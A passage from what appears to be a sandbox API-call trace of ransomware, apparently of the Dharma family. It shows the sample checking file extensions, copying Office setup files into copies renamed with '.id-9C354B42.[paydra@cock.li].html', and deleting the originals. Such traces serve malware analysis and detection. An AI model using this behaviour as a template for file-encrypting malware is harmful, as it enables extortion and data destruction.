(lpString1=".docx", lpString2="f.XML") returned -1 [0041.066] lstrlenW (lpString=".pdf") returned 4 [0041.066] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.066] lstrlenW (lpString=".xls") returned 4 [0041.066] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.066] lstrlenW (lpString=".xlsx") returned 5 [0041.066] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0041.066] lstrlenW (lpString=".ppt") returned 4 [0041.066] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0041.066] lstrlenW (lpString=".zip") returned 4 [0041.066] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.066] lstrlenW (lpString=".rar") returned 4 [0041.066] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.066] lstrlenW (lpString=".bz2") returned 4 [0041.066] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.066] lstrlenW (lpString=".7z") returned 3 [0041.066] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0041.066] lstrlenW (lpString=".dbf") returned 4 [0041.066] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0041.067] lstrlenW (lpString=".1cd") returned 4 [0041.067] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0041.067] lstrlenW (lpString=".jpg") returned 4 [0041.067] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.067] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.067] lstrlenW (lpString="Proof.XML") returned 9 [0041.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0041.336] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1457) returned 1 [0041.336] CloseHandle (hObject=0x214) returned 1 [0041.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0041.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0041.336] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.337] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0041.337] GetLastError () returned 0x0 [0041.337] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x5b1, lpOverlapped=0x0) returned 1 [0041.406] WriteFile (in: hFile=0x218, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0041.407] ReadFile (in: hFile=0x214, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0041.407] WriteFile (in: hFile=0x218, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.407] SetEndOfFile (hFile=0x218) returned 1 [0041.407] CloseHandle (hObject=0x218) returned 1 [0041.408] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.408] SetEndOfFile (hFile=0x214) returned 1 [0041.409] CloseHandle (hObject=0x214) returned 1 [0041.409] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.409] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0041.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0041.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0041.409] lstrlenW (lpString=".doc") returned 4 [0041.409] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.409] lstrlenW (lpString=".docx") returned 5 [0041.409] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0041.409] lstrlenW (lpString=".pdf") returned 4 [0041.409] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.409] lstrlenW (lpString=".xls") returned 4 [0041.410] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.410] lstrlenW (lpString=".xlsx") returned 5 [0041.410] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0041.410] lstrlenW (lpString=".ppt") returned 4 [0041.410] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0041.410] lstrlenW (lpString=".zip") returned 4 [0041.410] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.410] lstrlenW (lpString=".rar") returned 4 [0041.410] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.410] lstrlenW (lpString=".bz2") returned 4 [0041.410] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.410] lstrlenW (lpString=".7z") returned 3 [0041.410] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0041.410] lstrlenW (lpString=".dbf") returned 4 [0041.410] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0041.410] lstrlenW (lpString=".1cd") returned 4 [0041.410] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0041.410] lstrlenW (lpString=".jpg") returned 4 [0041.410] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0041.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0041.410] lstrlenW (lpString=".doc") returned 4 [0041.410] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.410] lstrlenW (lpString=".docx") returned 5 [0041.410] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0041.410] lstrlenW (lpString=".pdf") returned 4 [0041.410] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.410] lstrlenW (lpString=".xls") returned 4 [0041.410] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.410] lstrlenW (lpString=".xlsx") returned 5 [0041.410] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0041.410] lstrlenW (lpString=".ppt") returned 4 [0041.411] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0041.411] lstrlenW (lpString=".zip") returned 4 [0041.411] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.411] lstrlenW (lpString=".rar") returned 4 [0041.411] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.411] lstrlenW (lpString=".bz2") returned 4 [0041.411] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.411] lstrlenW (lpString=".7z") returned 3 [0041.411] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0041.411] lstrlenW (lpString=".dbf") returned 4 [0041.411] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0041.411] lstrlenW (lpString=".1cd") returned 4 [0041.411] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0041.411] lstrlenW (lpString=".jpg") returned 4 [0041.411] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.500] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.500] lstrlenW (lpString="SETUP.XML") returned 9 [0041.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0041.512] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=31094) returned 1 [0041.518] CloseHandle (hObject=0x1c0) returned 1 [0041.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0041.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.519] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.521] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.528] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0041.549] GetLastError () returned 0x0 [0041.549] ReadFile (in: hFile=0x188, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x7976, lpOverlapped=0x0) returned 1 [0041.573] WriteFile (in: hFile=0x180, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x7980, lpOverlapped=0x0) returned 1 [0041.574] ReadFile (in: hFile=0x188, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0041.574] WriteFile (in: hFile=0x180, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.575] SetEndOfFile (hFile=0x180) returned 1 [0041.575] CloseHandle (hObject=0x180) returned 1 [0041.576] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.576] SetEndOfFile (hFile=0x188) returned 1 [0041.577] CloseHandle (hObject=0x188) returned 1 [0041.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.577] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0041.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0041.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0041.577] lstrlenW (lpString=".doc") returned 4 [0041.577] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.577] lstrlenW (lpString=".docx") returned 5 [0041.577] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.577] lstrlenW (lpString=".pdf") returned 4 [0041.577] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.577] lstrlenW (lpString=".xls") returned 4 [0041.577] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.577] lstrlenW (lpString=".xlsx") returned 5 [0041.577] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.577] lstrlenW (lpString=".ppt") returned 4 [0041.577] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0041.577] lstrlenW (lpString=".zip") returned 4 [0041.577] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.578] lstrlenW (lpString=".rar") returned 4 [0041.578] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.578] lstrlenW (lpString=".bz2") returned 4 [0041.578] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.578] lstrlenW (lpString=".7z") returned 3 [0041.578] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0041.578] lstrlenW (lpString=".dbf") returned 4 [0041.578] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0041.578] lstrlenW (lpString=".1cd") returned 4 [0041.578] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0041.578] lstrlenW (lpString=".jpg") returned 4 [0041.578] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0041.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0041.578] lstrlenW (lpString=".doc") returned 4 [0041.578] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.578] lstrlenW (lpString=".docx") returned 5 [0041.578] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.578] lstrlenW (lpString=".pdf") returned 4 [0041.578] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.578] lstrlenW (lpString=".xls") returned 4 [0041.578] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.578] lstrlenW (lpString=".xlsx") returned 5 [0041.578] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.578] lstrlenW (lpString=".ppt") returned 4 [0041.578] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0041.578] lstrlenW (lpString=".zip") returned 4 [0041.578] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.578] lstrlenW (lpString=".rar") returned 4 [0041.578] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.579] lstrlenW (lpString=".bz2") returned 4 [0041.579] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.579] lstrlenW (lpString=".7z") returned 3 [0041.579] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0041.579] lstrlenW (lpString=".dbf") returned 4 [0041.579] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0041.579] lstrlenW (lpString=".1cd") returned 4 [0041.579] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0041.579] lstrlenW (lpString=".jpg") returned 4 [0041.579] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.579] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0041.579] lstrlenW (lpString="SETUP.XML") returned 9 [0041.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.581] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2424) returned 1 [0041.581] CloseHandle (hObject=0x188) returned 1 [0041.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0041.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0041.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0041.581] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.581] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0041.582] GetLastError () returned 0x0 [0041.582] ReadFile (in: hFile=0x188, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x978, lpOverlapped=0x0) returned 1 [0041.583] WriteFile (in: hFile=0x180, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x980, lpOverlapped=0x0) returned 1 [0041.584] ReadFile (in: hFile=0x188, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0041.584] WriteFile (in: hFile=0x180, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.584] SetEndOfFile (hFile=0x180) returned 1 [0041.585] CloseHandle (hObject=0x180) returned 1 [0041.585] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0041.585] SetEndOfFile (hFile=0x188) returned 1 [0041.586] CloseHandle (hObject=0x188) returned 1 [0041.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0041.586] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0041.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0041.586] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0041.586] lstrlenW (lpString=".doc") returned 4 [0041.586] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.586] lstrlenW (lpString=".docx") returned 5 [0041.586] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.586] lstrlenW (lpString=".pdf") returned 4 [0041.586] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.586] lstrlenW (lpString=".xls") returned 4 [0041.587] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.587] lstrlenW (lpString=".xlsx") returned 5 [0041.587] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.587] lstrlenW (lpString=".ppt") returned 4 [0041.587] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0041.587] lstrlenW (lpString=".zip") returned 4 [0041.587] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.587] lstrlenW (lpString=".rar") returned 4 [0041.587] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.587] lstrlenW (lpString=".bz2") returned 4 [0041.587] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.587] lstrlenW (lpString=".7z") returned 3 [0041.587] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0041.587] lstrlenW (lpString=".dbf") returned 4 [0041.587] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned 100 [0041.587] lstrlenW (lpString=".1cd") returned 4 [0041.587] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.587] lstrlenW (lpString="C:\\Program Files\\Common 